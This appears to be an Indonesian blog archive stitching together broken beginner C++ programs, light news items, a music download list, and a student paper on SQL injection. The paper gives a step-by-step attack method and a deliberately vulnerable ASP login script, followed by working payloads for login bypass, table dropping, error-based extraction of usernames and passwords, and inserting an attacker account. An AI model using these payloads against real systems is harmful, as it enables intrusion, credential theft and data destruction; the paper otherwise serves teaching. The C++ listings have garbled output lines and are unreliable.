Monday, October 5, 2015

ALPRO (ALGORITMA PEMOGRAMAN) PROGRAM DAN FLOWCHART MENGHITUNG RATA-RATA DARI INTEGER POSITIF



Hitunglah rata-rata dari integer positif (banyak data ditentukan dari data yang dimasukkan).
Flowchart-nya :

Program C++ :
#include 
#include
using namespace std;
int main()
{
   int n, a;
   float jumlah, rata;
   jumlah =0;
   cout<<"Masukkan nilai siswa ";
   cin >> a;
   n =1;
   while (!(a<=0))
   {
      jumlah =jumlah+a;
      cout<<"Masukkan nilai siswa ";
      cin >> a;
      n =n+1;
   }
   rata =jumlah/(n-1);
   cout << "Rata-rata nilai = "<<< endl;
   system(“PAUSE”);
   return 0;
}

ALPRO (ALGORITMA PEMOGRAMAN) PROGRAM DAN FLOWCHART MENENTUKAN NILAI TERKECIL DAN TERBESAR DARI SEMUA BILANGAN POSITIF



Flowchart :
flowchart menentukan nilai terbesar dan terkecil dali bilangan postif

Program C++ :

#include
#include
using namespace std;
int main()
{
   int mx,n,mn,x,jumlah;
   n =1;
   mn =2;
   mx =0;
   jumlah =0;
   cout<<"Masukkan nilai ke-1 : ";
   cin >> x;
   mn =x*mn;
   while (!(x<=0))
   {
      if (x>mx)
      {
         mx =x;
      }
      else
      {
      }
      if (x
      {
         mn =x;
      }
      else
      {
      }
      jumlah =jumlah+x;
      n =n+1;
      cout << "Nilai terkecil = "<<< endl;      
      cout << "Nilai terbesar = "<<< endl;      
      cout << "Jumlah semua bilangan = "<<< endl<
      cout<<"Masukkan nilai ke-"<<<" : ";
      cin >> x;
   }
   system(“PAUSE”);
   return 0;
}

ALPRO (ALGORITMA PEMOGRAMAN) PROGRAM DAN FLOWCHART MENGHITUNG FAKTORIAL

FLOWCHART MENGHITUNG FAKTORIAL


Program C++ :

#include 
#include

using namespace std;
int main()
{
   int n, i;
   unsigned long hasil;
   cout<<"faktorial ";
   cin >> n;
   hasil =1;
   i =1;
   while (!(i>n))
   {
      hasil =hasil*i;
      i =i+1;
   }
   cout << n<<" ! = "<<< endl;
 
   system(“PAUSE”);
   return 0;
}

ALPRO (ALGORITMA PEMROGRAMAN) PROGRAM DAN FLOWCHART CEK PALINDROM


Kasus :
  • Buatlah suatu algoritma untuk mengecek apakah suatu kata atau kalimat merupakan palindrom atau tidak.
  • Palindrom adalah suatu kata atau kalimat yang dibaca dari kiri ke kanan sama dengan kalu dibaca dari kanan ke kiri.
Analisis : Misalnya kata yang akan dicek adalah “kasur rusak”. Maka huruf pertama dicek, apakah sama dengan huruf pertama terakhir atau tidak, (sampai dengan pertengahan kalimat). Bila pengecekan selalu sama maka kalimat tersebut adalah palindrom. Jika terdapat satu huruf saja yang tidak sama, kalimat tersebut bukanlah palindrom.
Flowchart-nya :
FLOWCHART CEK PALINDROM

Wednesday, September 16, 2015

Di Negara Ini Jika Mendonorkan Sperma Akan Mendapatkan iPhone 6s

Sekedar Informasi23 - Sebuah bank sperma di Shanghai tawarkan hp mutakhir Iphone 6s juga sebagai imbalan untuk menyumbangkan sperma dirumah sakit nomer wahid disana. Sesungguhnya, imbalan yang didapatkan berbentuk duit sebesar 6. 000 RMB (setara Rp 13, 6 juta), sama juga dengan harga beli hp keluaran perusahaan Amerika Serikat ini.

 Donor Sperma di China Dapat iPhone 6s Sebagai Souvenir 2

Ditulis dari Shanghaiist, Rabu (16/9), Rumah Sakit Ruijin memanglah tengah mencari pendonor sperma. Ketentuannya, dia pria yang sehat lahir batin, tinggi 165 cm, mempunyai ktp China, tak ada penyakit genetik, serta mesti mempunyai gelar sarjana.
Pelamar cuma butuh membayar biaya registrasi 1. 000 RMB untuk kontrol kesehatan. Bila dikira layak, dia bakal terima 6. 000 RMB juga sebagai bayarannya.
Dari sperma yang dihasilkan di ambil 17 mililiter dengan saat penyimpanan minimal 48 hari, dalam periode waktu enam bln. sesudah donor berlangsung.
” Sampel nanti bakal disimpan dalam situasi beku, hingga dapat dipakai di hari esok apabila si pendonor memerlukan, ” tutur petugas rumah sakit itu.
Rumah sakit ini sediakan ruangan donor yang nyaman dengan perpustakaan serta cream pelembab yang bisa dipakai untuk menolong si pendonor keluarkan spermanya. Tentu juga untuk memperoleh hp pandai yang mahal itu. Dikarenakan tawaran ini, 22 ribu pria melamar untuk mendonasikan spermanya. Belum di ketahui, berapakah orang yang lolos tes.

Sumber : garudanews.tk

Jangan Sembarangan Membeli Iphone. Ini Perbedaan Iphone Asli dan Iphone Palsu

Sekedar Informasi23 - Maraknya Smartphone dengan teknologi tinggi yang hadir dipasaran, fenomenal tersebut pastinya mendapatkan tanggapan yang positive dari berbagai kalangan. Namun dibalik semua itu pastinya ada sisi negative yang mengimbanginya.

Para oknum yang tidak bertanggung jawab memanfaatkan fenomenal ini dengan menghadirkan produk – produk canggih salah satunya iPhone dengan harga yang jauh lebih murah daripada aslinya. Apakah iPhone replica adalah iPhone palsu ? PASTI !!

iPhone Replika adalah produk yang dikembangkan oleh oknum diluar Apple, pastinya sparepart ponsel sangat berbeda. Mungkin beberapa orang beranggapan pasti iPhone ORI dan iPhone Replika sama saja. namun salah, ada perbedaan signifikan yang membedakan keduanya. Apa sajakah itu, mari kita bahas.
 

1. Bahan Material

Dari segi body saja, iPhone ORI dan iPhone Replika sudah sapat terlihat berbeda. iPhone replica menggunakan bahan material yang terkesan lebih kasar dibanding iPhone ORI. Hal itu sudah dapat dirasakan pada sentuhan pertama. iPhone ORI menggunakan bahan material asli dari bahan premium dan pada layarnya iPhone ORI lebih menampilkan gambar yang jernih dan jelas karena menggunakan teknologi retina, berbeda dengan iPhone Replika.

2. Icon dan Screenshot

Cara membedakan iPhone Ori dengan iPhone Replika yang kedua adalah melihat dari Icon serta Screenshot. Jika gadget tersebut menampilkan icon-icon antarmuka yang cenderung buram atau blur jelas itu adalah Replika, karena iPhone ORi pastinya menampilkan icon yang jelas. Untuk Screenshot, jika iPhone ORI dapat mengambil Screenshot dengan menekan tombol home dan lock, jika tidak bisa pasti itu Replika.

3. iTunes dan AppStore

Jika perangkat iPhone anda asli, pastinya iTunes dapat mengenali iPhone anda. Begitu juga dengan AppStore, jika anda berhasil login dengan Apple ID anda, berarti iPhone ORI. Parahnya kadang jika anda masuk dalam AppStore namun menjadi Google Play, berarti itu adalah Android yang dikemas semirip mungkin dengan iPhone.

4. Harga

Faktor terakhir adalah Harga. Harga iPhone ORI dan Replika pastinya berbeda sangat jauh, hampir 80% perbandingan harga antara keduanya. Maka dengan ini anda sebagai konsumen harus lebih berhati – hati lagi jika ditawari iPhone dengan harga murah, mungkin itu iPhone Replika. ( Pasti Replika :) )

5. Cek IMEI dan Serial Number

IMEI dan Serial Number ibarat sebuah tanda yang takkan bisa terelakkan lagi bagi sebuah mesin. Untuk mencocokkan IMEI anda hanya cukup masuk ke menu Setting -> General -> About, cocokkan IMEI yang ada pada Smartphone dengan DusBox dari pembelian kita. Kemudian untuk cek Serial Number, anda harus terhubung dengan Internet dan mengunjungi :

https://selfsolve.apple.com/agreementWarrantyDynamic.do

Disana, Garansi anda akan secara resmi terdeteksi.

6. Cek Spesifikasi

Hal ini tak kalah penting lagi, Dimana Saat kita akan membeli smartphone iPhone yang notabene memiliki Harga yang tak murah, Cek Spesifikasi wajib segera kita lakukan setelah pembelian, agar nantinya tidak tahu ditengah jalan dan Garansinya keburu habis. Cek spesifikasi bisa meliputi Kamera, Processor, Bentang layar, RAM dan sebagainya.

Sumber : smeaker.com

Sunday, September 13, 2015

6 Tempat Wisata Favorite Para Pemimpin Dunia

Sekedar Informasi - Apa yang terlintas dalam benak Anda jika rasa penat dan capek telah menyelimuti pikiran dan raga karena merasa terlalu banyak mengerjakan tanggung jawab Anda sebagai manusia pada umumnya. Mulai dari pekerjaan yang menumpuk hingga permasalahn lainnya, saat dalam kondisi seperti ini tentu yang Anda butuhkan hanya meninggalkan semua rutinitas dan pergi liburan.

Apapun profesi mereka entah selebriti, penyanyi, bahkan presiden atau raja mereka sama seperti kita manusia biasa yang juga bisa merasa lelah dan letih serta membutuhkan istirahat dari tugas Negara yang tentu saja tak semudah yang Anda bayangkan. Sehingga orang-orang ini juga perlu libur sejenak dari aktivitas mereka. Jika Anda memiliki lokasi favorit untuk bersenang-senang, begitu pula dengan beberapa pemimpin dunia yang juga memiliki lokasi liburan favorit mereka.


Berikut adalah 6 Tempat Wisata Favorite Para Pemimpin Dunia :
1.Barack Obama (Presiden AS) – Martha's Vineyard, USA
 Tujuan Wisata Favorit Para Pemimpin Dunia

Presiden Barack Obama memilih liburan ke Martha’s Vineyard. Sepertinya sudah menjadi kebiasaan untuk menghabiskan masa senggang keluarga Obama di sana.  Obama beserta keluarganya biasa menginap di peternakan Blue Heron di Chilmark.
Namun kini lahan seluas 28 hektar tersebut sudah dijual ke seorang arsitek Norman Foster, pada 2011 lalu. Kini setiap ke Martha’s Vineyard, keluarga Obama memilih sebuah rumah yang lebih kecil yang dilengkapi dengan kolam renang dan pemandangan menakjubkan ke arah Samudera Atlantik. 
2. Pangeran Charles (Inggris Raya) – Klosters, Swiss
 Tujuan Wisata Favorit Para Pemimpin Dunia 
Pangeran Charles juga memiliki tempat liburan favorit. Di saat Ratu Elizabeth dan Pangeran William serta Kate Middleton memilih Singapura untuk berkunjung, Pangeran Charles justru lebih menyukai resor ski di Klosters, Swiss.
Pangeran Charles menikmati ski di tempat ini selama tiga dekade terakhir. Namun hal berbeda justru dari istrinya saat ini, Camila, yang tidak punya ketertarikan untuk bermain ski.
3. Francois Hollande (Presiden Prancis) – Cannes, France
 Tujuan Wisata Favorit Para Pemimpin Dunia 
Presiden Prancis Francois Hollande ternyata sangat mencintai Cannes. Dikabarkan dirinya memiliki tiga rumah peristirahatan di Cannes dan wilayah sekitarnya. Meski begitu, pada Agustus 2013, Presiden Hollande memilih justru lebih memilih berlibur tidak jauh dari rumahnya. Hollande menikmati waktu santainya di Pavillion de la Lanterne. Rumah 10 hektar tersebut diketahui memiliki akses pribadi ke taman Istana Versailles.
4.Juan Carlos I (Raja Spanyol) – Mallorca, Spain
 Tujuan Wisata Favorit Para Pemimpin Dunia 
Raja Spanyol Juan Carlos  I sering bepergian ke Mallorca setiap musim panas. Raja Juan tinggal di Istana Marivent di Palma de Mallorca. Istana itu tampak indah terlihat dari pantai dan mengarah ke laut. Setiap Agustus, Raja Juan Carlos selalu berpartisipasi dalam lomba yacht yang rutin diadakan di sana.
5. Vladimir Putin (Presiden Rusia) – Sochi, Russia
 Tujuan Wisata Favorit Para Pemimpin Dunia 
Presiden Rusia Vladimir Putin menyukai kegiatan alam seperti berburu, menyelam bahkan memancing ikan salmon. Dan Kota Sochi menjadi persinggahan favoritnya untuk menghabiskan waktu libur.
Putin juga menghabiskan waktu untuk bermain ski di Krasnaya Polyana Alpine Ski Center. Di tempat ini, Putin menunjukkan kebolehannya menuruni bukti dengan skill yang dimiliknya.
6. Joko Widodo (Presiden Indonesia) – Solo, Indonesia
 Tujuan Wisata Favorit Para Pemimpin Dunia 
Berbeda dengan para pemimpin negara dunia lainnya, Presiden Joko Widodo saat menjabat sebagai Gubernur DKI lebih memilih pulang kampung ke Solo untuk liburan. Ia lebih memilih quality time bersama keluarga dan kembali ke rumah pribadinya di kelurahan Sumber, Solo – Jawa Tengah.
Jokowi bersama istri senang menghabiskan waktu liburnya untuk jalan-jalan mengunjungi pasar barang antik Triwindu dan pasar burung Depok yang berada di Solo. Jokowi juga senang memilihara burung. Ia memiliki 10 jenis burung di kediamannya, antara lain cucak rowo, parkit, jalak dan perkutut.
Kebiasaan lainnya yang menarik adalah Jokowi akan menonton band rock favoritnya saat sedang konser. Pertanyaannya sekarang, apakah tempat tujuan liburan  dan kebiasaanya Joko Widodo akan tetap sama ketika menjadi Presiden?
Sumber : sooperboy.com

Saturday, August 1, 2015

Download DJ Soda MP3




Berikut adalah beberapa Judul lagu dari DJ Soda yang bisa sobat download  :

  • DJ Soda - Sexy Girls (Redfoo - New Thang)
  • DJ SODA - FXXKING MONDAY MIX-SKOOL DAYZ
  • good-bye 2013 trap music(dj soda live mix)
  • DJ Soda - Beautiful And Sexy
  • House Town 50(mixed by DJ Soda)
  • HouSe TowN 51 (Mixed By Dj Soda)
  • Just Dop the beat-Dj Soda
  • DJ Soda DJ Trang Moon 2015 - DJ SODA SEXY - DJ 소다 - โซดาดีเจ 2015
  • Superficial (Boom Boom Dj Soda Remix)
  • Ricardo Reyna VS blasterjaxx VS W&W - Sabroza 15 Lift Off (dj Soda Mashup)
  • This is Hip-Hop Vol.1(miXeD by Dj soda)
  • Dj Soda - New Thang Hot 2015

Sunday, May 17, 2015

Contoh Makalah Teknik SQL Injection Terbaru

PEMBAHASAN

1. Pengertian SQL injection
SQL injection adalah jenis aksi hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di dalam sistem. SQL Injection yaitu serangan yang mirip dengan serangan XSS dalam bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam serangan XSS.

SQL injection merupakan salah satu kelemahan yang paling dahsyat untuk dampak bisnis, karena dapat menyebabkan pembongkaran semua informasi yang sensitif yang tersimpan dalam sebuah aplikasi database, termasuk informasi berguna seperti username, password, nama, alamat, nomor telepon, dan rincian kartu kredit. Jadi SQL injection adalah kelemahan yang diterjadi ketika penyerang mampu mengubah Structured Query Language (SQL) di dalam database. Dengan mempengaruhi database, penyerang dapat memanfaatkan sintaks dan kemampuan dari SQL itu sendiri, serta kekuatan dan fleksibilitas yang mendukung fungsi database dan fungsi sistem operasi yang hanya dilakukan dalam database.

2. Sejarah SQL Injection
            Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni1970. Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL.

Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun 1992. Versi terakhir dikenal dengan SQL92.

Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD.




3. Cara Kerja SQL Injection
Aplikasi web menjadi lebih canggih dan semakin teknis yang kompleks. Mulai dari internet dinamis dan portal intranet, seperti e-commerce dan pasangan extranet, untuk HTTP dikirimkan oleh aplikasi perusahaan seperti sistem manajemen dokumen dan ERP aplikasi. Sifat aplikasi web dengan desain yang beragam fitur dan kemampuan web tersebut untuk menyusun, memproses, dan menyerbarkan informasi melalui internet atau dari dalam intranet membuat aplikasi web tersebut menjadi target yang populer untu diserang.

Aplikasi web menjadi target penyerangan juga disebabkan karena keamanan jaringan pada pasar teknologi telah jatuh tempo dan ada sedikit peluang untuk menembus sistem informasi melalui kelemahan networkbased, hacker semakin banyak yang berpindah fokus mereka untuk mencoba mengkompromi aplikasi tersebut.

SQL injection merupakan serangan dimana kode SQL dimasukkan atau ditambahkan ke dalam aplikasi/ user input parameter yang kemudian diteruskan ke SQL server back-end untuk parsing dan eksekusi. Setiap prosedur yang membangun pernyataan SQL berpotensi untuk mudah terserang. Bentuk injeksi utama SQL terdiri dari penyisipan langsung kode ke dalam parameter yang digabungkan dengan perintah SQL dan kemudian dieksekusi.

Sebuah serangan langsung paling sedikit menyuntikan kode ke dalam string yang ditujukan ke penyimpanan di dalam tabel atau sebagai metadata. Ketika string yang tersimpan akhirnya digabungkan ke dalam perintah SQL dinamis, kode tersebut akan dieksekusi.  Ketika aplikasi web gagal untuk membersihkan paramater dengan benar dilewatkan ke pernyataan SQL yang dibuat secara dinamis (bahkan ketika menggunakan teknik parameterisasi)  ini memungkinkan untuk seorang penyerang  untuk mengubah mengubah konstruksi back-end SQL.

Ketika seorang penyerang dapat memodifikasi pernyataan SQL, pernyataan tersebut akan dieksekusi dengan hak yang sama dengan aplikasi pengguna, saat menggunakan server SQL untuk mengeksekusi perintah yang berinteraksi dengan sistem operasi, proses akan berjalan dengan hak akses yang sama dengan komponen yang mengeksekusi perintah (misalnya database server, aplikasi server, atau web server).

4. Langkah-langkah SQL Injection
a. Tes Vulnerabilitas
Pengujian atau tes ini perlu dilakukan untuk mengetahui apakah sebuah situs web memiliki celah keamanan atau tidak untuk dilakukan SQL Injection.

      Salah satu karakter yang sering digunakan untuk melakukan vulnerabilitas adalah pemakaian karakter kutip tunggal (‘). Sebagai contoh misal situs web target adalah http://www.gue.com/product.php?id=3’
Maka untuk melakukan pengujian, penulisan kutip dituliskan setelah angka 3.



b. Menentukan Jumlah Kolom
Penentuan jumlah kolom ini perlu dilakukan karena kita perlu mengetahui kolom mana dari sebuah tabel yang bisa dimanfaatkan. Hal ini bertujuan supaya kita bisa memasukkan perintah SQL Injection pada lokasi yang tepat. Sebab kalau kita memasukkan di tempat yang salah maka kita tidak akan memperoleh apapun. Untuk melakukan hal ini agak bersifat “trial and error”, dimana perintah yang digunakan adalah ORDER BY.

c. Mencari Kolom yang Vunerable
Selanjutnya adalah mencari kolom yang memiliki celah untuk dilakukan SQL Injection. Istilah lainnya adalah angka error.

d. Menentukan Nama Database
Pada dasarnya ini bukanlah sesuatu yang penting tapi akan lebih baik agar bisa dimanfaatkan untuk kepentingan lain

e. Mencari Nama Kolom

f. Menampilkan Isi data

5. Mencegah SQL Injection
1. Batasi panjang input box dengan cara membatasi di kode program
2. Administrator web haruslah tegas menolak user yang menginput karakter selain abjad dan angka
3. Untuk nilai numerik, konversilah menjadi integer
4. Filter input yang dimasukkan user
5. Jika memungkinkan, buatlah daftar karakter yang boleh digunakan
6. Batasi karakter yang boleh diinput oleh pengunjung situs web anda
7. Matikan atau sembunyikan pesan – pesan error yang keluar dari SQL Server yang berjalan
8. Kalau bisa, hilangkan show error mysql
9. Bagi yang menggunakan CMS, sangat disarankan untuk mengupdate CMS

6. Contoh Kasus yang menggunakan SQL Injection
1. 2004 : Dani Firmansyah membobol situs (hacker) di Pusat Tabulasi
Nasional Pemilu Komisi Pemilihan Umum (TNP KPU).
2. 11 Mei 2011 : Andi Kurniawan ( Mahasiswa STIMIK Amikom Jogjakarta ) melakukan tindakan hacking di website Mabes Polri
3. Februari 2002 : Jeremiah Jacks membobol guess.com .
4. Juli 2008 : Kaspersky Malaysia telah dibobol oleh seseorang dari Turki yang dikenal sebagai m0sted.
5. November 2008 :British Royal Navy website telah dibobol oleh Seseorang Rumania dengan Code Name TinKode
6. 5 Februari 2011 : HBGary telah dirusak oleh group hacker yang menamakan diri LulzSec.





7. Contoh SQL Injection

SQL Injection dapat terjadi ketika seseorang dapat memasukkan serangkaian perintah SQL dalam query dengan memanipulasi data pada aplikasi database. Kita akan membahas beberapa teknik SQL injection yang umum ditemukan pada Microsoft Internet Information Server/Active Server Pages/SQL Server platform. Terdapat beberapa cara dimana SQL dapat diinjeksikan pada sebuah aplikasi.

Contoh dari SQL statement :
select id, forename, surname from authors
Perintah ini akan menghasilkan kolom 'id', 'forename' dan 'surname' dari tabel 'authors', dengan menghasilkan semua baris pada setiap kolom yang relevan pada tabel tersebut.

Hasil yang diinginkan dapat lebih spesifik dengan menyebutkan 'author' seperti di bawah ini :
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Hal utama yang perlu dicatat adalah kita telah memiliki batas-batas dalam pencarian yakni dengan menyebutkan 'john' sebagai forename dan 'smith' sebagai surename. Seakan-akan 'forename' and 'surname' field telah didapatkan dari user yang memberikan input.

Seorang attacker dapat menginjeksikan beberapa SQL dalam query ini dengan memasukkan nilai pada aplikasi seperti dibawah ini :
Forename: jo'hn
Surname: smith
Query akan menjadi seperti ini :
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'

Ketika database menjalankan query,akan menghasilkan suatu kesalahan seperti yang ditunjukkan berikut ini :
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Ini disebabkan karena dimasukkannya karakter single quote (tanda petik satu) yang menyatakan breaks out. Selanjutnya database akan mencoba untuk mengeksekusi 'hn' dan gagal juga.

Jika attacker menspesifikasi data seperti ini :
Forename: jo'; drop table authors--
Surname:
Akan menyebakan tabel penulis akan dihapus. Ini dapat memberikan gambaran bahwa beberapa metoda seperti membuang single quote dari input atau dengan mengabaikan mereka dalam beberapa hal dapat memecahkan kasus ini. Tapi tidak semua itu benar, karena masih terdapat beberapa kesulitan dalam aplikasinya. Pertama, tidak semua user memasukkan data bertipe string. Jika user dapat memilih author dengan 'id'(yang biasanya berupa angka), kita akan memiliki query seperti di bawah ini :

select id, forename, surname from authors where id=1234
Pada siatuasi seperti ini seorang attacker dapat dengan sederhana menambahkan perintah SQL pada akhir dari input yang berupa angka. Beberapa delimiter juga digunakan pada dialek(perintah khusus) SQL lainnya, seperti pada Microsoft Jet DBMS, tanggal dapat diakhiri dengan karakter '#' character. Kedua, mengabaikan single quote tidak permasalahan yang gampang.
Kita akan mengilustrasikan kasus di atas lebih jauh lagi dengan menggunakan Active Server Pages (ASP) untuk 'login' , dengan mengakses SQL Server database dan mencoba untuk masuk dengan autentifikasi yang tidak mungkin rasanya terjadi.

Berikut ini adalah kode dari halaman 'form' page, dimana user akan memasukkan username dan password :


 
Login Page



Login

 




Username:
Page 4
width=100>


Password:



 





Kode untuk 'process_login.asp' :




<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>





AKSES ANDA GAGAL!!hehehe




 <%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>


AKSES DIPERSILAHKAN...
 



<% Response.write(rso("Username"));
Response.write( "
" ); Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Poin terpenting disini adalah bagian dari 'process_login.asp' dengan query string :
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
Jika user memasukkan hal berikut ini :
Username: '; drop table users--
Password:
Tabel user akan terhapus, dan akan memberikan kesempatan sehingga semua user dapat mengakses ke dalam database. Kejadiannya adalah sbb :
• Karakter ';' menandakan akhir dari sebuah query dan awalan dari query yang lainnya.
• Karakter '--' adalah single line comment dalam Transact-SQL. Karakter '--' pada akhir dari kolom username dibutuhkan agar pada bagian ini query tidak menimbulkan erro pada waktu dijalankan.

Attacker dapat log on (masuk) sebagai siapa saja, seakan-akan dia mengetahui username dengan memberikan input sbb :
Username: admin'--

Attacker dapat juga log on sebagai user yang pertama pada tabel 'user' dengan menggunakan input sbb :
Username: ' or 1=1--

Attacker juga dapat log in seakan-akan terdapat user yang sebenarnya tidak ada di database dengan memasukkan input sbb :
Username: ' union select 1, 'fictional_user', 'some_password', 1--
Ini disebabkan karena aplikasi yang kita buat percaya bahwa baris yang konstan dispesifikasikan oleh attacker adalah bagian perintah yang terdapat dalam database itu sendiri.

//------- III Mengolah Informasi dari Error Messages

Untuk memanipulasi data dalam database seorang attacker harus dapat memahami struktur dari database dan tabel. Contoh, tabel 'user' yang kita buat dengan perintah di bawah ini :

create table users
( id int,
username varchar(255),
password varchar(255),
privs int
)

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

a. Mengetahui Nama dari Tabel dan Kolom

Seorang user sepertinya tidak mungkin dapat memasukkan account untuk dirinya sendiri., tanpa mengatahui struktur dari 'user' tabel. Ataupun jika dia sedang beruntung mungkin 'tabel_privs' tidak dihapus dan dapat dimanfaatkan sebaik mungkin. Untuk seorang attacker error message yang dikembalikan dari aplikasi (biasanya ASP mengembalikan)
attacker dapat mengetahui struktur dari database dan membaca setiap informasi dari account ASP yang sedang digunakan untuk melakukan koneksi ke SQL Server.

Pertama attacker ingin membuat nama tabel dan field tempat query beroperasi. Untuk melakukan ini attacker dapat menggunakan 'having' clause dari 'select' statement:
Username: ' having 1=1--
Hal ini menyebabkan error sbb :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Sehingga attacker mengetahui nama tabel dan kolom pertama dari query diatas.
Mereka dapat melanjutkan pada kolom berikutnya dengan menggunankan perintah sebagai berikut :
Username: ' group by users.id having 1=1--
Hal ini menyebabkan error sbb :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
Akhirnya attacker sampai pada username sbb :
Username : ' group by users.id, users.username, users.password, users.privs having 1=1--
Hal di atas tidak menimbulkan error. Pernyataan tersebut sama dengan query sbb :
select * from users where username = ''
 
b. Mengetahui Tipe dari Kolom

Hal tersebut akan lebih bagus jika dia dapat mengetahui tipe dari setiap kolom. Hal ini dapat diperoleh dengan cara sebagai berikut :
Username: ' union select sum(username) from users--
Hal di atas menimbulkan error message sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35

Informasi tersebut menyatakan bahwa tabel username memiliki tipe varchar. Berikutnya kita coba mengetahui tipe dari kolom lainnya.
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Tipe dari kolom id adalah numeric.

Kita dapat menggunakan cara ini untuk mengetahui tipe dari semua kolom pada tabel yang terdapat di dalam database.

Attacker dapat menggunakan insert query :
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--

Perkembangan teknik dari SQL injection tidak berhenti sampai di sini. Attacker dapat mengambil keuntungan dari error message untuk mendapatkan informasi yang berhubungan dengan database tersebut.

Attacker dapat mempergunakan query berikut ini untuk mendapatkan bentuk-bentuk umum dari error message:
select * from master..sysmessages

Teknik di bawah ini dipergunakan untuk membaca harga pada tabel dalam database : Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35

Attacker berusaha untuk mengkonversikan konstanta '@@version' ke dalam bentuk interger karena kolom pertama pada tabel 'user' bertipe interger.

Attacker dapat membaca username pada tabel 'user' dengan cara berikut ini :
Username: ' union select min(username),1,1,1 from users where username > 'a'--

Hal ini akan mengecilkan daerah pencarian karena username yang dibutuhkan lebih besar dari 'a' dan mengkonversikannya ke dalam interger :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35

Sehingga sekarang attacker akan mengetahui acoount dari 'admin' yang ada dalam database. Sekarang dia dapat mengetahui informasi dari admin tersebut dengan menggunakan klausa 'where' :
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.
/process_login.asp, line 35

Ketika attacker dapat mengetahui username, maka dia akan terus untuk mendapatkan password-nya :
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35

Teknik yang lebih indah lagi adalah dengan merangkai semua username dan password pada single string dan merubahnya pada bentuk interger. Tapi hal ini cukup susah dan belum berhasil saya lakukan

8. Kesimpulan

1. SQL kependekan dari Structured Query Language, bahasa yang sering dipergunakan untuk mengelola database relasional, sehingga banyak digunakan dalam aplikasi sistem database karena berdasarkan ANSI.

